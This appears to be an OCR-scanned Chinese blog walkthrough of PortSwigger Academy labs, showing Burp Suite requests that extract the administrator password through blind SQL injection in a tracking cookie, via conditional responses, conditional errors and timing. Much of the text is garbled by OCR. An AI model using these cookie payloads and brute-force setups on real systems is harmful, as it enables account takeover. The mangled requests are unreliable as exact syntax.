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i | ;—Ics‘t: acOb1fhfl f01435780cT56c9007d00d4 web-security-academy .net

User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4; x84; rv.89.0) Gecko/20100101 Firefox/89.0
Accept texthtml licationfxhtml+xml lication/mkg=0.9 imag: bp**g=0.8
Accept-Language: zh-CN zh;g=0.8 zh-TW,g=0.7 zh-HK;g=0.5 en-US;g=0.3 en;g=0.2
Accept-Encoding: gzip, deflate

Connection: close

Referer: https: facObi flf1f01438780c756c9007d00d4 web-security-academy net/

Cookie: Trackingld=cDz!1 IDsKediAGmx, session=0TP9zhY SdiviareHfPwED00sXJ0bwUSW

Upgrade-Insecure-Requests: 1 \

N i fEtrackingidixX, fRiB AN —T

GET /HTTRM A
_ Host; acOb flaf1 f01438780cT 360007004 web-security-academy net

Accept: texthtml application/xhtml+xm| applicationfml g=0 9 imagefwebp **;g=0.8
Accept-Language: zh-CH zh;g=0.8 zh-TWq=0.7 zh-HK;g=0.5 en-US;g=0.3 eng=0.2
Accept-Encoding: gzip, deflate

Connection: close

Referer: https: facOk flaf1 014387807 569007 d00d4 web-security-academy net/

Upgrade-Insecure-Reqguests: 1

Cancel

Go

Request
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Raw | Params | Headers | Hex

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x84, rv:859.0) Gecko/20100101 Firefox/89.0

Cookie: Trackingld=cDzl1 IDsKediAGmX' and 1=1 -- ; session=0TPIzh Y SdiviareHPwEDIOsXJ0bwlUSW

=h2=Blind SAL injection with conditional responses</h2=
<a class="link-back" href="https:Mportswigger netiweb-security flsgl-injiectionblind lab-conditional-r

=svg version="1.1" id="Layer_1" xmins="http: fwoww w3 orgl2000/vg"
wmins: xlink="http: foewew w3 orgM 99900ink" x="0px" y="0px" viewBox="0 0 28 30" enable-background="new 00 2t
xmlspace="preserve" title="back-arrow"=
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=div class="widgetcontainer-lab-status is-notsolved">
=span=LAB</span=
<p=Not solved=ip=
=span class="lab-status-icon"=</span=
<fdiv=
<feliv=
leliv=
=/section=
<fdiv=

=div theme="ecommerce"=
=section class="maincontainer"=
=div class="container">
<header clags="navigation-header"=

=section class="top-link:
=a href=iHome=g8p=|</p=
=div>Welcome back!=/div>=p=|=/p=

<@ href="/my-accourt"=My account</a=<p=|/p=
=/section= CSDN @ba )-‘rJ net
</header= '

& xmins: xlink="http; feeww w3 .orgh 9990 link" x="0px" y="0px" viewBox="0028 3
xmlspace="preserve" title="back-arrow">
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=dliv class="widgetcortainer-lab-status is-notsolved"=
=span>=LAB</span>
=p=Not solved<jp=
=span class="lab-status-icon"></span>
<leliv=
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<leliv=
<fzection=

<feliv=

=div theme="ecommerce"=
=section class="maincontainer"=
=div class="container"=
<header class="navigation-heacder"=
<section class="top-link:

=a href=i=Home=}: = <=
=div=-Welcome back!=/div=<p=|<i= _
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Target: https://ac0b1fbf1f01438780c756c9007d00d4.web-s

Response

Raw | Headers | Hex | HTML T Render ]

GET /HTTPA 1

| Host: acOb fbf1f014358750c756c9007d00cdd web-security-academy net

User-Agent: Mozilla/S.0 (Windows NT 10.0; Wing4; x64; rv:89.0) Gecko/20100101 Firefox/89.0

Accept: texthtml licationfxhtml+xml licationfzml;g=0.9 imag bp =08

Accept-Language: zh-CN zh;g=0.8 zh-TW,g=0.7 zh-HK;g=0.5 en-US;q=0.3 en;g=0.2

Accept-Encoding: gzip, deflate

Connection: close

Referer: https: iacOb1 flof1f01438780c7 5629007 d00d4 web-security-academy net/

Cookie: Trackingld=cDzlIDsKedjAGmX' and 1 =2|-- ; session=0TP9zhY SdivOareHPwEDDOs X0 wUSW
Upgrade-Insecure-Reguests: 1

L
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<div class="title-container"=
<hZ=Blind SAQL injection with conditional responses</h2>
=a class="link-back" href="https: iportswigger netiweb-securityisgl-injgctionlindlab-cor
Back&nbsp;to&nbsp;lab&nbsp;d. iption&nbsp
<svg version="1.1" id="Layer_1" xmins="http: iwww w3 .orgi2000isvg"
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=polygon points="14.3012.91 225615129 28.8 14.3,30 28 15"=</polygon=
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=fsection=
<feliv=

=div theme="ecommerce"=
=section class="maincontainer"=
=div class="container"=
<header class="navigation-header"=
=section class="top-links"=
=a href==Home=/a=<p=|</p=
<a href="/my-account"=My account=/a=<p=|</p= CSDM (';!J Day Onet
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Connection: close

Referer: https: ifacOb fbf1 f01438780c7 569007 d00d4 web-security-academy net/
Cookie: Trackingld=cDzl1 IDsKediaGmX' and (select 's' from users limit 1) ='s' -- ;|
session=0TPY9zh"Y SdiviareHfPwED0Os X J0wUISW

Upgrade-Insecure-Requests: 1
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=section class="maincontainer"=
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GET /HTTPA A

_ Host: acOb1flf1{01438780c756c09007 d00c4 web-security-academy net

User-agent: Mozilla/5.0 (Windows NT 10.0; Wing4;, x64; rv:39.0) Geckos20100101 Firefox/39.0
Accept: textihtml applicationfchtml+xml applicationfaml g=0.9 imagefwebp **; q=0.8
Accept-Language: zh-CH zh;g=0.8 zh-TWW,g=0.7 zh-HK; g=0 5 en-US3; q=0 .3 en,q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Referer: https:ifacOkd fbf1 f01438780c756c9007 d00d4 web-security-academy .net/

='s'--; session=0TPOzhY SdiviareHfPwED0O0s X J0bwUSWY
Upgrade-Insecure-Requests: 1|
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Cookie: Trackingld=cDz|1 IDsKedjAGmX' and (select 's' from users where username="administrator' limit 1)

=div id="academyLabHeader"=
<section class="academyLabBanner"=
<div class="container"=
=div class="logo"==/div=
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=fdiv=
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Request
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Response

Raw | Headers | Hex HTML]'Render]

GET /HTTPM A

g Host: acOb1fbf1f01438780c756c0007d00c4 web-security-academy net

User-Agent: Mozila/3.0 (Windows NT 10.0; Wing4; x64; rv:89.0) Gecko/20100101 Firefox/39.0
Accept: texthtml lication. 1+l licationfml;g=0.9 bp =08
Accept-Language: zh-CM zh;g=0.8 zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;g=0.2
Accept-Encoding: gzip, deflate

Connection: close

Referer: https: iacOb flaf1 {01 438780c7 569007 d00d4 weh-security-academy .net/

Cookie: Trackingld=cDzl IDsKedjAGmx' and (select 's' from users where username="administrator’ and
lengthipassword)=1) ='s'-- ; session=0TPIzh SdivIar erPwSDDOS){JwaUSM
Upgrade-Insecurgifequests: 1
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Request
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=div class="logo"=</div=
=div class="title-container"=
<h2=Blind SQL injection with conditional responses<h2>
=a class="link-back" href="https: iportswigger nethweb-security/zsgl-injiectionblindlab-conditional-ri

=svg version="1.1" id="Layer_1" xmins="http: faww w3 org2000/isvg"
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=div theme="ecommerce"=
=section class="maincontainer"=
=div class="container"=
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<section class="top-links;
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Response

Raw | Headers | Hex HTMLTRender]

GET /HTTPA 1

Host: acOb1flf11014358780c7S56c9007d00d4 web-security-academy .net

User-Agent: Mozilais.0 (Windows NT 10.0; Wing4; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: texthtml lication sl lication =09, b =08
Accept-Language: zh-CM zh; B,zh-TW,q=0.7 zh-HK;g=0.5 en-US;g=0.3 en;gq=0.2
Accept-Encoding: gzip, deflate

Connection: close

Referer: https: ifacOb1 fbf1f01438780c7 569007 d00c4 web-security-academy net/

Cookie: Trackingld=cDzl1IDsKediaGmx' and (select 's' from users where username="administrator’ ancl
lengthipassword)=30) ='s' --; session=0TP9zh SdivdareHPwEDOOsX . 0bwLISW
Upgrade-Insecure-Reguests: 1

=div class="logo"=></div=
=div class="title-container"s
<h2=Blind SOL injection with conditional responses<h2>
=a clags="link-back" href="https: Iportswigger netiweb-securityisgl-injectionblindlab-conditional-re

=svg version="1.1" id="Layer_1" xmins="http:/fiwww w3 org/2000/svg"
xming: xlink="http: fewew w3 orgM 9997xlink" x="0px" y="0px" viewBox="0 0 28 30" enable-background="rew 0 0 28
xmlspace="preserve" title="back-arrow"=
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=lg=
<fsvg=
<la=
<fdiv=
=div class="widgetcontainer-lab-status is-notsolved">
<span=LAB=/span=
=p=Not solved=/p=
<span class="lab-status-icon"=</span=
<fdiv=
<fdiv=
<ldiv=
=fsection=
<fdivs

=div theme="ecommerce"=
=szection class="maincontainer"=
=div class="container"=
<header class="navigation-header"=

=section class="top-links"=
=a href=/Home=/a=<| =

=a href="f urt" =Ny t=/a=<pe|<ipe csh @h .rler net
<lsection= o o
KRTI0LEE, KEMZRNTI0H, HEikZ>H—Tpayloadit
D Payload Positions T
Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are igned to paylead iti - see help for full details.

Attack type: l Sniper

GET /HTTPM A

Host: acOb1fbf1f01438780c756c0007 004 weh-security-academy net

User-Agent: Mozilla/s.0 (Windows NT 10.0; Win64, x64; rv:89.0) Gecko/20100101 Firefox/59.0
Accept: text/html ication/xhtml+xml icationixml;g=0.9,i Pt g=0.8
Accept-Language: zh-CN zh;g=0.8,zh-TW,g=0.7 zh-HK;g=0 5 en-US;g=0.3 en;g=0.2
Accept-Encoding: gzip, deflate

Connection: close

Clear §
Auto §

| Refresh ‘



Cookie: Trackingld=cDzlIDsKediAGm' and (select 's' from users where username="administrator’ and length{password)=§308) = 's'-- | session=0TP9zhSdiviareHPwED00s K J0bwLISW
Upgrade-Insecure-Requests: 1

CSDIf @bayOnet
[Target T Positions TPaybﬁds T Options ]
@ Payload Sets
f “ou can define one or more paylead sets. The number of payload sets depends on the attack type defined in the Positions tab. Various pay
customized in different ways.
L Payload =et: l‘l |‘F] Payload count. 30
Payload type: lNumbers |v] Request count: 30
® Payload Options [Numbers]
Thiz payload type generates numeric payloads within a given range and in a specified format.
Number range
Type: (® Seguential () Random
From: 1
To: 30 o~
Step: ‘ 1| |
How many:
Number format
Base: ® Decimal () Hex
rSr A =l e e
Min integer digits: CSDN o 5';/{0- el
% FEnumberit F 1-30
— B! Intruder attack 1 — O X OE
Inti
ﬂ Attack Sawve Columns -
J Resufts T Target I Positions I Payloads I Options ]
aylo | Filter: Showing all tems ‘@C
Reguest A| Payload Status | Error |T|rneuut | Length | Comment
T T Loy —J —J TTZT ]
13 13 200 O O 11294
14 14 200 O O 11294
15 15 200 O O 11294
|18 16 200 ] O 11234 i
verd| 17 17 200 O O 11294
18 18 { 200 O O 11284
umel| q1g 19 200 O O 11294
20 20 200 B B 11233
21 21 200 O O 11233
senty| 22 s 200 O O 11233
—| 23 23 200 O O 11233
L ¥ | L ¥ | e Talu — — 4430 b
- Resore
JR&wT Headers I Hex I HTHL I Render ]
<polygon points="143 01291 225615129288 14.3 30 28 15"><ipalygon= 'y
<fg=
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<fa= .-"l

<feliv=

<div class="widgetcontainer-lab-status is-notsolved">
o <span=LAB</span=
= <p=Hot solved=</p>

<span class="lab-status-icon"><ispan=
- <feliv=
<feliv=
- <feliv= o
<lesrtinns I

= ® = + = Type a search term 0 matches
| | [ | -~
Finished s
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Request

i

J Ith Params I Headers I Hex ]

GET /HTTPM A

i Host: aclb fbf1f014358780c7 56029007 d00d4 web-security-academy .net

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4, =64, rv:89.0) Gecko/20100101 Firefox/39.0
Accept: text/html applicationfchtml+xml applicationxml;g=0.9 imagefwebp */* g=0.8
Accept-Language: zh-CH zh;g=0.8 zh-TW,g=0.7 zh-HK;g=0.5 en-US;g=0.3 en,g=0.2

Accept-Encoding: gzip, deflate

Connection: close

Referer: hitps: iacOb1fbf1f01438730c726c0007d00cd4 weh-security-aca v .net!

Cookie: Trackingld=cDzl IDsKediAGmX' and (select substring(password 1,1) from users where
username="administrator’) ='a' --, session=0TP9zh‘deinareHwaSDUOsKJUbwUShﬂ
Upgrade-Insecure-Requests: 1

CSDN @bayOnet

Fsubstring () B £ M AJT 4R R Y K 1R ER )G I Ha-z,0-9fnf th, R — AR B RKMEA G E — 2%

@ Payload Positions

Configure the positions where payloads will be inserted into the base reguest. The attack type determines the way in which payloads are igned to payload iti - see help for ful details.

AMack type: [ Cluster bomb {

GET /HTTPH 1 i Add§
Host: acOb1 flbf1 f01438730c736c9007d00d4 web-security-academy net »
User-Agent: Mozilla/5.0 (Windows NT 10.0, Wing4; x64; rv:859.0) Gecko/20100101 Firefox/89.0

Clar§ |
Accept: texthitml licationixhtml+xml licationfeml;g=0.9,i bp =08

Accept-Language: zh-CN,zh;q=0.8 zh-TW,q=0.7 zh-HK;q=0.5 en-US;g=0.3 en,g=0.2
Accept-Encoding gzip, deflate

Connection: close l W
Referer: hitps:facOb1 flbf1 f01438780c756c9007 d00d4 weh-security-academy .net/ [—J

Cookie: Trackingld=cDzIIDsKedjAGmX' and (select substring{password §18§,1) from users where username="administrater') = '§a§' --; session=0TPY9zhYSdiviareHPwED0OsXJObwUSWN

Upgrade-Insecure-Requests: 1

CSDN|@bayOnet

@ Payload Sets

“‘ou can define one or more payload setz. The number of payload sets depends on the attack type defined in the Pc
customized in different ways.

Payload =et: l'l |v] Payload count: 20

Payload type: lNumbers |‘F] Reguest count: 0

@ Payload Options [Numbers]

Thiz payload type generates numeric payloads within a given range and in a specified format.




Number range

Type: (® Seguential () Random

From: 1

To: 20

Step: ‘ 1|

How many: ~

CSDN @bayOnet

Target | Positions | Payloads T Options ]

®

®

Payload Sets

“ou can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types
customized in different ways.

Payload set: [2 | '] Payload count: 38

Payload type: [ Brute forcer | v] Request count: 720

Payload Options [Brute forcer]

This payload type generates payloads of specified lengths that centain all permutations of a specified character set.

Character zet: | abcdefghijkimnopgretuveoyz0123456785

Min length: 1

Wax length:

Payload Processing :
CSDM -:!J.Jsljr.J. 12t
“nu can defing niles tn nerfarm varinus nroresginn tagks nn each navinad hefore it iz nred

= B! Intruder attack 2 - O O =
2 Attack Save Columnsz —
J Results T Target I Positions. I Payloads I Options ]

[ ‘ Filter: Showing all tems |®can b
_|| Reguest Payload1 Payload2 Status | Error | Timeout | Length 4 | Comment
_|| 382 2 5 200 O o 11294 :
| 372 12 1 200 O O 11294
| 400 20 t 200 O O 11294
|| 447 7 w 200 O O 11294 b

474 14 x 200 O O 11294
M 2z 1 ¥ 200 o O 11204
lof| 558 18 1 200 O O 11294

589 9 3 200 O O 11294
| 673 13 7 200 O O 11294

686 3 2 200 O O 11294

717 17 9 200 B B 11294 v

ak >

Resores

J Raw T Headers I Hex I HTHML I Render ]
<heacler class="navigation-heacsr"= A
/d <section class="top-links">
<a href=/>Home</a=<p=|<ip=
;ﬁ <div-Welcome backl</div=<p=|</p=
= <a href="/my-accourt">=Ny account</a=<p=>|</p=>
<fzection=
<header=




<header class="notification-header=
<header=
<section class="ecoms-pagehesader">

<img src="fresourcesimages/shop svg"=
<fzection=

ceartinn rlace="eaarrh_fitara"=

o L]
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CSLLLaunapyllost
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Web Security Blind SQL injection with conditional responses
Academ! :'l; Back to lab description »»

Congratulations, you solved the lab!  Share your skills! = Confinue leaming

\ Home | Welcome back! | My account | Logout

My Account

Your username is: administrator

Email

Update email

CSDN @bayOnet

Web Security Academy ) SQL injection » Blind )} Lab

Lab: Blind SQL injection with conditional
responses

PRACTITIONER /

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and perfa
an SQL guery containing the value of the submitted cookie.

The results of the SCAL query are not returned, and no error messages are displayed. But the application includes
"Welcome back” message in the page if the query returns any rows.

The database contains a different table called us=r=, with columns called usernames and password You net

exploit the blind SQL injection vulnerability to find out the password of the administrator user

To solve the lab, log in as the administrator user

Access fhe lab CSDN @bayOnet

E£5%10

SLIO=: maEFFEIRIE SQL A




AL EE—TOUL BitiEE. WHEEFRERERL cookie i iToolr, AFITEE1E580Y cookle (ERY SUL =i,

SQL EENERT2RE, HFENEEFTSREERESREEETMHLEE R, R SQL ERSEHE
2, NAEFREEENEREEE.

HIEESS—E R A REFEusers, HAlE Husernanefllpassword, SEEFIHESQLE TiRmETEH
administratorAPRER,

EREATWE, BlladministratorAPBHER.

A B v

CSON @bayOnet

HHERE R

A B ~

AELIFA Oracle #iERE, BXES(EE, BERSQLIT NEFE,

Az >

m1¢$51§’€

A M M R RS N A R S SRR,

EF‘%‘K SELECT CASE WHEN (YOUR-CONDITION-HEEREE) THEN to_char{lf’O} ELSE NULL
END FREOM dual

(LU SELECT CASE WHEN (YOUR-CONDITICN-HERE) THEN 1/0 ELSE NULL END

PostgreSQL SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(l/0 as text) ELSE
NULL END

My 3QL SELECT IF(YOUR-CONDITION-HERE, (SELECT table name FROM
information schema.tables), 'a')
CS5DN @baylnet

BLiZ AR IX R AR

Request Response

[Raw T Paramz T Headers T Hex ] _[ REWT Headers T Hex T Render ]
ETIHTTPA A 'y HTTPM .1 500 Internal Server Error
ost: acad’1 b7l ed583bes08e3baalifs002h web-security-academy net a Connection: close

ser-Agent: Mozilla#s 0 (Windows NT 10.0; WinGd; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Content-Length: 21

coept: texthtml applicationfzRtmkxml application/xmlg=0.9 image/fwebp **g=0.8

ceept-Language: zh-CH zhg=08 zh-TW.g=0.7 zh-HK;g=0 5 en-U5;g=0.3 en;g=0.2 Internal Server Error
ceept-Encoding: gzip, deflate

annection: close

eferer: https: facas1 fh71ed683be806e3baal0f5002k web-security-academy net/

ookie: session=8CE8Mk2RhpTahAauBubTWET 2nTyrtptEM; Trackingld=Xr AL vwxEXpDwdXhe!'
parade-Insecure-Reqguests: 1

C5DMN @payOnet




Request Response

Raw | Params | Headers | Hex Raws | Headers | Hex HTMLIRender]

GET /HTTPA A A HTTRA A 200 OK
Host: acas1fb71edE83bed06e3baadlfs002b web-security-academy net P Content-Type: texthtml, charset=utf-5
User-Agent: Mozilla#s.0 (NVindows NT 10.0; Wing4; x64; rv:89.0) Gecko/201001 01 Firefox/39.0 Connection: close
Accept: texthtml applicationfdtml+xml applicationfoml; g=0.9 imag b =08 Contert-Length: 11205
Accept-Language: zh-CM,zh;g=0.8 zh-TW,g=0.7 zh-HK;g=0.5 en-U5;g=0 3 en;q=0.2
Accept-Encoding: gzip, deflate <IDOCTYPE htmi=
Connection: close =html=
Referer: https:lacas1h71 ed683he806e3baal0fs002k web-security-academy net/ <head=
Cookie: session=8CEMk2RhpT ahAauBubTWET2RTyrtptEM, Trackingld=XrALvwxEeXphwaiKhe" <link href=iresourceslabheadericssl/academyLabHeacder css rel=styleshe
Upgrade-Insecure-Reguests: 1 <link href=iresourcesicssilabsEcommerce css rel=stylesheet>
<titlz=Blind SAL injection with conditional errors<fitle=
=fhead>
=hody=
=script src:".n'es0u|'cesnabheaderJ]s.ﬂabl—!%ﬁgjuﬁujs"?«'ff-._“é:“l;;f-gl J,-f -{J rnet

BB SiBREHE, WMAER, FrUAS A8 E W D B B e R sk 3 1T Bl
RE R BESR U T X B R oracle i, FBRATR P oracle By B R HE ARG IRIE— T

Request Response
J Raw T Params T Headers T Hex ] J Raw T Headers T Hex T Render ]
GET /HTTPH A A HTTRM .1 500 Internal Server Error
Host: aca51 fh71edE83bed06e3baalifs002b web-security-acadzmy .net " Connection: close
o
User-Agent: Mozilla/s .0 (Windows NT 100, Wing4; x&4; rv.39.0) Gecko/20100101 Firefox/89.0 Content-Length; 21
Accept: texthtml applicationfhtmi+xml applicationxml,g=0.9 imageiwebp ** g=0.8
Accept-Language: zh-CH zh;g=08 zh-TW,gq=0.7 zh-HK;g=0 5 en-US;g=0.3 en;g=0.2 Internal Server Error
Accept-Encoding: gzip, deflate
Connection: close
Referer: https: llacasl fb71eds83be806e3baal0fS002h web-security-academy .neti
Cookie: session=8C8Mk2RhpTahAauBub PWkT2nTyrttEM; Trackingld=XraLvwxEXpDwixhe' || (select ") || '
Upgrade-Insecure-Requests; 1
sl | Pyl ST o Toper
CSDM Uoayunet
Request Response
] Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
GET /HTTPA 1 N HTTPM .1 200 OK
L Host: aca51fh71edi83het06e3baal0fs002h web-security-academy.net P Content-Type: text charset=utf-G
User-Agent: Mozilai5.0 (Windows NT 10.0; WinG4; x&4; rv:59.0) Gecko/20100101 Firefox/59.0 Connection: close
Accept: texttmi nixhtmb+xml nfxml;g=0.9, p,o=0.8 Content-Length: 11205
Accept-Language: zh-CN zh;q=0.8 zh-TW,g=0.7 zh-HK;g=0.5 en-US;q=0.3 en;g=0.2
Accept-Encoding: gzip, deflate <IDOCTYPE htmi>
Connection: close <html=
Referer: https: ifacas1 foT1ed683het06e3baal0f 5002k web-security-academy net/ <heack=
Cookie: session=ACEMk2Rhp7ahAaudubTWkT2nTyntptEM, Trackingld=XrALvwxEXpDwiixhc' || (select " from dual) || <link href=iresourceslabheader/cssiacademylLabHeader css rel=stylesheet=
Upgrade-Insecure-Reguests: 1 <link href=iresources/cssilabsEcommerce css rel=styleshest=
<title=Blind SOL injection with conditional errors=file>
</head>
<hody=
=script sre="resourceslabheader jslabHeader js"=</script=
~ef
=div id="academylLabHeader"> -2 LA

B W UER E Noracle iR B, JEHIE BRI FIWi R, FF 4, ENFERHELAGAR

rownum=1 B 1525 1) F B %




Hequest Hesponse
_J Raw T Paramz T Headers T Hex ] J Raw T Headers T Hex T HTHML T Render
GET /HTTPA 1 A HTTPHM 1 200 OK
A Host: acas1 b7 ed683be806e3baal0fs002k web-security-academy net P Cortert-Type: text/htr harset=utf-8
User-Agent: Mozila/s.0 (Windows NT 10.0;, Wing4, x64; rv:89.0) Gecko/20100101 Firefox/89.0 Connection: close
Accept: textihtml application/xhtmi+xml application/xml g=0.9 imagefwebp */*q=0.8 Content-Length: 11205
Accept-Language: zh-CM zh;g=0.8 zh-TW.q=0.7 zh-HK;g=0.5 en-US;gq=0.3 en;gq=0.2
Accept-Encoding: gzip, deflate <IDOCTYPE htmi=
Connection: close <htrml=
Referer: https:ffacasi fh71ed683beiite3baal0fs002b web-security-academy net/ <head=
Cookie: session=8CaMkZRhpTahAausub KT 2nTyrtptEM, Trackingld=<raLvwxE{pDwXhe' |[(select " from users =link href=fresources/labheader/cssiacaden
wihere rownum =1)| " =link hl'ef=.ﬂ'EF;CI'_'I'E‘E‘S."CIIg?.‘!ﬁlquCpl]ll]]?l'QE.C!
Upgrade-Insecure-Requests: 1 :1'rtle:=BIim:|—Sal:injectitlillwih?{ ediidition:

BT REE KRB B RINIS SR R KA RIER

whenfiI 2R, S#ATthenERINE, FHARIL, MiREelse/5HHNE

Request Response
J Raw T Paramz I Headers I Hex ] J Raw T Headers I Hex I Render ]
GET /HTTPA A " HTTPA 1 500 Internal Server Error
] Host: acas1fbh71ed683be806e3baal0fa002h web-security -academy net r Connection: close
User-Agent: Mozila!s 0 (Windows NT 10.0; Wing4; x64; rv:89.0) Gecko/20100101 Firefox/E2.0 Cortert-Length: 21
Accept: textihtml application/xhtml+xml applicationfoml,g=0.9 imagefwebp **g=0.8
Accept-Language: zh-CH zhg=08 zh-TW.¢=0.7 zh-HK;g=0 5 en-U5;g=0.3 en;g=0.2 Internal Server Error *..-—
Accept-Encoding: gzip, deflate
Connection: close
Referer: https:ifacasl fh71ed683bed06e3baal0fa002h web-security-academy netf
Cookie: session=8C8Mk2RhpTahAauBubTWET 2nTyrtptEN; Trackingld=xXrALvwxE{pDwakhe' || (select case when (1=1)
then to_char(1/0) else " end from dual) ||'| T v et
Upgrade-Insecure-Requests: 1 -oUN @Ddyunet

AT BT 1/03R 45
THKIEREFE B

administrator

A— KT EER, SQUIEARIEH Miwhere FHEIKIAZ, WELR U RILA P ATFESGE 1=14 O IR BR S FH R 200

Request Response

J Raw T Params I Headers I Hex ] J Raw T Headers T Hex T Render ]

GET /HTTPA A i HTTP#M 1 500 Internal Server Error
Host: acas! b7 edEE3bet0te3baalifs002b web-security-academy net P Connection: close

User-Agent: Mozilla/s.0 (Windows NT 10.0; WinG4, x64; rv:89.0) Gecko/20100101 Firefox/39.0 Corntert-Length: 21

Accept: text/html application/xhtmi+xml applicationfaml g=0.9 imagefwebp *Mg=0.8

Accept-Language: zh-CN,zh;g=0.8 zh-TW,q=0.7 zh-HK;g=0.5 en-US;q=0.3 gn;gq=0.2 Internal Server Error

Accept-Encoding: gzip, deflate

Connection: close

Referer: https: iacas1 fh71edE83be808e3baalifs002h web-security-academy net/

Cookie: session=8CEMEZRhpTahAauSub W7 ZnTyntptEM, Trackingld=XrALvwxE{pDw@xhc' || (select case when (1=1)
then to_char(1/0) else " from users where username="administrator" || '

Upgrade-Insecure-Reqguests: 1

~cr e
o @DdyYunet

REEIR, BRI P

administrator

administrator




HIWr DAL H, UL E# Mpayload#, X BRI LA LKA Z A L M AR & 204z

Request Response

J Raw T Params I Headers I Hex ] J RawT Headers I Hex I Render ]

GET JHTTPA A

" HTTPM .1 500 Internal Server Error
Host: acas1fb71edE83bed06e3baal0fs002h web-security-academy net r Connection: close
User-Agent: Mozillais .0 (Windows MT 10.0; WinGd; x64; rv:89 0) Gecko/20100101 Firefox/39.0 Content-Length: 21
Accept: textmtml application/xhtml+xml applicationtzml;g=0 9 imagefwebp **g=0 8
Accept-Language: zh-CN zh;g=0 8 zh-TW.g=0.7 zh-HK;g=0.5 en-U5;5=0.3 en;g=0.2 Internal Server Error

Accept-Encoding: gzip, deflate

Connection: close

Referer: https:ifacas1 fb71ed683beB06e3baalifs002h web-security -academy nat/

Cookie: session=8CEMk2Rhp7ahAauBubTWET 2nTyntptEM; Trackingld=XrALvwxEXpDwlihe' |[(select case when
Ieng‘th(password)ﬂﬂ' then to_char(1/0) else " from users where username="administrator' || '
Upgrade-Insecure-Reguests: 1

— LAY

CEni m@E v A et

BR_EANSEIS — & payload B 2 1

:?) Payload Positions

Configure the positions where payloads wil be inserted into the base request. The attack type determines the way in which payloads are assigned to paylead positions - =ee help for full details.

Attack type: l Cluster bomb: | vJ

GET /HTTPA 1
Host: acas1fh71edBE3het0te3baal0fs002h web-security-academy .net
User-Agert: Mozila/s.0 (WNndows MT 10.0; WinB4; x64; rv:B9.0) Gecko/20100101 Firefox/i89.0

Clear §
Accept: textitml applicationfxhtmb+xm, ionixml;q=0.9 i pA%a=0.8 l

Accept-Language: zh-CM zh;q=0.8 zh-TW,q=0.7 zh-HK;g=0 5 en-US,q=0.3 en,q=0.2

Auto §
Accept-Encoding: gzip, deflate

Connection: close Refresh
Referer: hitps: faca51 fb71edBE3be806e3baalifs002b. web-security-academy .net/ Q

Cookie: session=8CEMk2ZRhpTahAausubTWhT2nTyntptEM; Trackingld=XrALvwxEXpDwaXhe' || (select case when substr(password §18,1)='§a5' then to_char{1/0) else " end from users where username='administrator’)
I
Upgrade-Insecure-Requests: 1

T

Add §

ror

=L

@baylnet

@ Payload Sets

“‘ou can define one or more payload setz. The number of payload sets depends on the attack type defined in the
customized in different ways.

Payload =et: l1 ,‘l’J Payload count: 20

Payload type: |_Nun1ber5 .‘I'J Reguest count: 0

@ Payload Options [Numbers]

Thiz payload type generates numeric payloads within a given range and in a specified format.

Number range

Type: (® Sequential () Random
From: 1

To: 20

Step: 1

How many:

C5DN @bayOnet




@ Payload Sets

“ou can define one or more payload setz. The number of payload sets depends on the attack type defined in the Positions tab.
customized in different ways.

Payload =et: l2 ,‘l’J Payload count: 36

Payload type: |_ Brute forcer | ‘I'J Reguest count: 720

@ Payload Options [Brute forcer]

Thiz payload type generates payloads of specified lengths that contain all permutations of a specified character set.

Character set. | abcdefghiklmnopgretuvwxyz0123458789

Min length: 1

Max length:

CSDMN @baylnet

3 B! Intruder attack 3 — O X
: Attack Save Columns
_[ Results T Target T Positions T Payloads T Options ]
| ‘ Fitter: Showing all tems |®
|| Request | Payload1 | Payload2 | Status | Error |'I'|me|:|ut | Length Al Comment
EN 14 c 500 a O 98 [
7| 58 18 c 500 O O 58
1| 137 17 g 500 O O 58
4| 140 20 g 500 O O es
270 10 n 500 O O 58
M| 293 13 o 500 O O 38
o 298 19 ] 500 O O 58
324 4 q 500 O O 58
; 387 7 1 500 O O 58
392 12 t 500 O O 58
— — -
511 11 z 500 ] ] 58 v
TR_ J |
Resores
J Raw T Headers I Hex I Render ]
HTTPA A 500 Internal Server Error A
4 Connectior: close r
Corntent-Length: 21
JInternal Server Errar
-
¥
| < + = Type & 0 matches
le WEE
L. 2SN J-.JC'Jr'_JI.":_
Finished |
ERTHNFREFT

123456789 10 11 12 13 14 15 16 17 18 19 20

@ 709g97s21nztoc29gcog
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Web Security Blind SQL injection with conditional errors
Academ Back to lab descnption »» /

Congratulations, you solved the lab! W Share your skills! | Continue leaming »

Home | My account | Log out

My Account

Your username is: administrator

Email

Update email

CSDN @bayOnet
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L= BEERY
G oeme L
AEWEE SOl EIHRE. WA EERE cookio BT, THATEA ISR cookie (1 SQL 25,
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BIZEIRAVE SQL jEAN
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A SRR

BHENX
(TLN

AEARI A ST BARATS T T LD R N
WAITFOR DELAY "0:0:10°
PostgreSQL SELECT pg sleesp(10)

MySaL SELECT sleep(10)

WA | TR,

VL AT T H L = S

doms pipe.receive message(('a'),10)

2L

@bayOnet

DUANAS [R) S 2 A B P S SR 1B ), ROV A e 7 _R A I B RIIIEIR, ALt 58 T

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
GET /HTTPAH A A HTTPA 1 200 OK l
Host: ac691f451 eab3e6d304021 2100750055 web-security-academy .net r Contert-Type: texthtml, charset=utf-5
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; rv:89.0) Gecko/20100101 Firefox/83.0 Connection; close
Accept texthtml Wxhtmbexmi @ppli \ g, P g=0.8 Contert-Length: 11156
Accept-Language: zh-CM zh;q=0.8,zh-TW,g=0.7 zh-HK;g=0.5 en-US;g=0.3 en,g=0 2
Accept-Encoding: gzip, deflate <IDOCTYPE htmi=
Connection: cloze <htmi=
Referer: https:/fac691f491eab3e6c804021 2100750058 web-security-academy .net/ <head>
